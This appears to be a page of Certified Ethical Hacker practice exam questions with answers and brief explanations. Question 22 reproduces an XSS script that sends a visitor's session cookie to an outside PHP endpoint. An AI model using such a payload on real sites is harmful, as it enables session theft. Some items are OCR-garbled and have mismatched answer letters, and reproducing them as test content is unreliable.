What issue occurred for the users who clicked on the image?","acceptedAnswer":[{"@type":"Answer","text":"This php file silently executes the code and grabs the users session cookie and session ID.","comment":{"@type":"Comment","text":"Explanation: document.write(); (Cookie and session ID theft) https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable ‘cookie’. If the malicious user would inject this script into the website’s code, then it will be executed in the user’s browser and cookies will be sent to the malicious user."}}],"suggestedAnswer":[{"@type":"Answer","text":"The code inject a new cookie to the browser."},{"@type":"Answer","text":"The code redirects the user to another site."},{"@type":"Answer","text":"The code is a virus that is attempting to gather the users username and password."}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":24,"text":"You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?","acceptedAnswer":[{"@type":"Answer","text":"You should check your ARP table and see if there is one IP address with two different MAC addresses.","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates."},{"@type":"Answer","text":"You should use netstat to check for any suspicious connections with another IP address within the LAN."},{"@type":"Answer","text":"You cannot identify such an attack and must use a VPN to protect your traffic, r"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":25,"text":"A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine. Which of the following advanced operators would allow the pen tester to restrict the search to the organization’s web domain?","acceptedAnswer":[{"@type":"Answer","text":"[site:]","comment":{"@type":"Comment","text":"Explanation: Google hacking or Google dorking https://en.wikipedia.org/wiki/Google_hacking It is a hacker technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites are using. Google dorking could also be used for OSINT. Search syntax https://en.wikipedia.org/wiki/Google_Search Google’s search engine has its own built-in query language. The following list of queries can be run to find a list of files, find information about your competition, track people, get information about SEO backlinks, build email lists, and of course, discover web vulnerabilities. - [site:] - Search within a specific website"}}],"suggestedAnswer":[{"@type":"Answer","text":"[allinurl:]"},{"@type":"Answer","text":"[location:]"},{"@type":"Answer","text":"[link:]"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":26,"text":"_________ is a type of phishing that targets high-profile executives such as CEOs, CFOs, politicians, and celebrities who have access to confidential and highly valuable information.","acceptedAnswer":[{"@type":"Answer","text":"Whaling","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"Spear phishing"},{"@type":"Answer","text":"Vishing"},{"@type":"Answer","text":"Phishing"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":27,"text":"Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials. Which of the following tools is employed by Clark to create the spoofed email?","acceptedAnswer":[{"@type":"Answer","text":"Evilginx","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"PyLoris"},{"@type":"Answer","text":"Slowloris"},{"@type":"Answer","text":"PLCinject"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":28,"text":"When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners. What proxy tool will help you find web vulnerabilities?","acceptedAnswer":[{"@type":"Answer","text":"Burpsuite","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"Maskgen"},{"@type":"Answer","text":"Dimitry"},{"@type":"Answer","text":"Proxychains"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":29,"text":"Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit. What is the technique used byjack to launch the fileless malware on the target systems?","acceptedAnswer":[{"@type":"Answer","text":"Phishing","comment":{"@type":"Comment","text":""}}],"suggestedAnswer":[{"@type":"Answer","text":"In-memory exploits"},{"@type":"Answer","text":"Legitimate applications"},{"@type":"Answer","text":"Script-based injection"}]},{"@type":"Question","eduQuestionType":"Multiple choice","position":30,"text":"Lewis, a professional hacker, targeted the loT cameras and devices used by a target venture-capital firm. He used an information-gathering tool to collect information about the loT devices connected to a network, open ports and services, and the attack surface area. Using this tool, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the Internet, further allowing him to exploit these devices in the network. Which of the following tools was employed by Lewis in the above scenario?","acceptedAnswer":[{"@type":"Answer","text":"Censys","comment":{"@type":"Comment","text":"Explanation: Censys scans help the scientific community accurately study the Internet. The data is sometimes used to detect security problems and to inform operators of vulnerable systems so that they can fixed."}}],"suggestedAnswer":[{"@type":"Answer","text":"Wapiti"},{"@type":"Answer","text":"NeuVector"},{"@type":"Answer","text":"Lacework"}]}]}]}
ECCouncil certification · Exam 312-50v12

312-50v12 Mock Exam Page 3

Certified Ethical Hacker CEH v12

Free 312-50v12 questions on Topic 3: Exam Pool C, each with the answer and an explanation.

20 questions · 33 minutes · free, no sign-up

Topic 3: Exam Pool C questions

21–30 of 74 free
Question 21 Choose 1

What is the most common method to exploit the “Bash Bug” or “Shellshock” vulnerability?

Show answerHide answer

Correct answer: C

Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed
environment variable to a vulnerable Web server

Question 22 Choose 1

Judy created a forum, one day. she discovers that a user is posting strange images without
writing comments.
She immediately calls a security expert, who discovers that the following code is hidden
behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+
escape(document.cookie)+ " />); </script>
What issue occurred for the users who clicked on the image?

Show answerHide answer

Correct answer: D

This php file silently executes the code and grabs the users session cookie and session ID.

Explanation

Explanation: document.write(<img.src=https://localhost/submitcookie.php cookie =+
escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/
As seen in the indicated question, cookies are escaped and sent to script to variable
‘cookie’. If the malicious user would inject this script into the website’s code, then it will be
executed in the user’s browser and cookies will be sent to the malicious user.

Question 23

James is working as an ethical hacker at Technix Solutions. The management ordered
James to discover how vulnerable its network is towards footprinting attacks. James took
the help of an open-source framework for performing automated reconnaissance activities.
This framework helped James in gathering information using free tools and resources.
What is the framework used by James to conduct footprinting and reconnaissance
activities?

Show answerHide answer

Correct answer: C

OSINT framework

Question 24 Choose 1

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use
your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how
would you identify whether someone is performing an ARP spoofing attack on your laptop?

Show answerHide answer

Correct answer: A

You should check your ARP table and see if there is one IP address with two different
MAC addresses.

Question 25 Choose 1

A penetration tester is performing the footprinting process and is reviewing publicly
available information about an organization by using the Google search engine.
Which of the following advanced operators would allow the pen tester to restrict the search
to the organization’s web domain?

Show answerHide answer

Correct answer: C

[site:]

Explanation

Explanation: Google hacking or Google dorking
https://en.wikipedia.org/wiki/Google_hacking
It is a hacker technique that uses Google Search and other Google applications to find
security holes in the configuration and computer code that websites are using. Google
dorking could also be used for OSINT.
Search syntax https://en.wikipedia.org/wiki/Google_Search
Google’s search engine has its own built-in query language. The following list of queries
can be run to find a list of files, find information about your competition, track people, get
information about SEO backlinks, build email lists, and of course, discover web
vulnerabilities.
- [site:] - Search within a specific website

Question 26 Choose 1

_________ is a type of phishing that targets high-profile executives such as CEOs, CFOs,
politicians, and celebrities who have access to confidential and highly valuable information.

Show answerHide answer

Correct answer: B

Whaling

Question 27 Choose 1

Sophia is a shopping enthusiast who spends significant time searching for trendy outfits
online. Clark, an attacker, noticed her activities several times and sent a fake email
containing a deceptive page link to her social media page displaying all-new and trendy
outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using
her valid credentials. Which of the following tools is employed by Clark to create the
spoofed email?

Show answerHide answer

Correct answer: C

Evilginx

Question 28 Choose 1

When you are testing a web application, it is very useful to employ a proxy tool to save
every request and response. You can manually test every request and analyze the
response to find vulnerabilities. You can test parameter and headers manually to get more
precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?

Show answerHide answer

Correct answer: C

Burpsuite

Question 29 Choose 1

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into
Incalsol's systems. To deliver the malware, he used the current employees' email IDs to
send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that
automatically loads Flash and triggers the exploit. What is the technique used byjack to
launch the fileless malware on the target systems?

Show answerHide answer

Correct answer: B

Phishing

Question 30 Choose 1

Lewis, a professional hacker, targeted the loT cameras and devices used by a target
venture-capital firm. He used an information-gathering tool to collect information about the
loT devices connected to a network, open ports and services, and the attack surface area.
Using this tool, he also generated statistical reports on broad usage patterns and trends.
This tool helped Lewis continually monitor every reachable server and device on the
Internet, further allowing him to exploit these devices in the network. Which of the following
tools was employed by Lewis in the above scenario?

Show answerHide answer

Correct answer: A

Censys

Explanation

Explanation: Censys scans help the scientific community accurately study the Internet.
The data is sometimes used to detect security problems and to inform operators of
vulnerable systems so that they can fixed.

Full mock exam

Sit the 312-50v12 exam before exam day

Full-length mocks with the same number of questions and the same time limit as the real 312-50v12 exam. Every attempt draws a new set of questions from the full bank, so you can keep going until you pass comfortably.

Get full 312-50v12 mock exam
  • 65questions per mock
  • 105 mintime limit
  • 569questions in the bank
  • Newmock on every attempt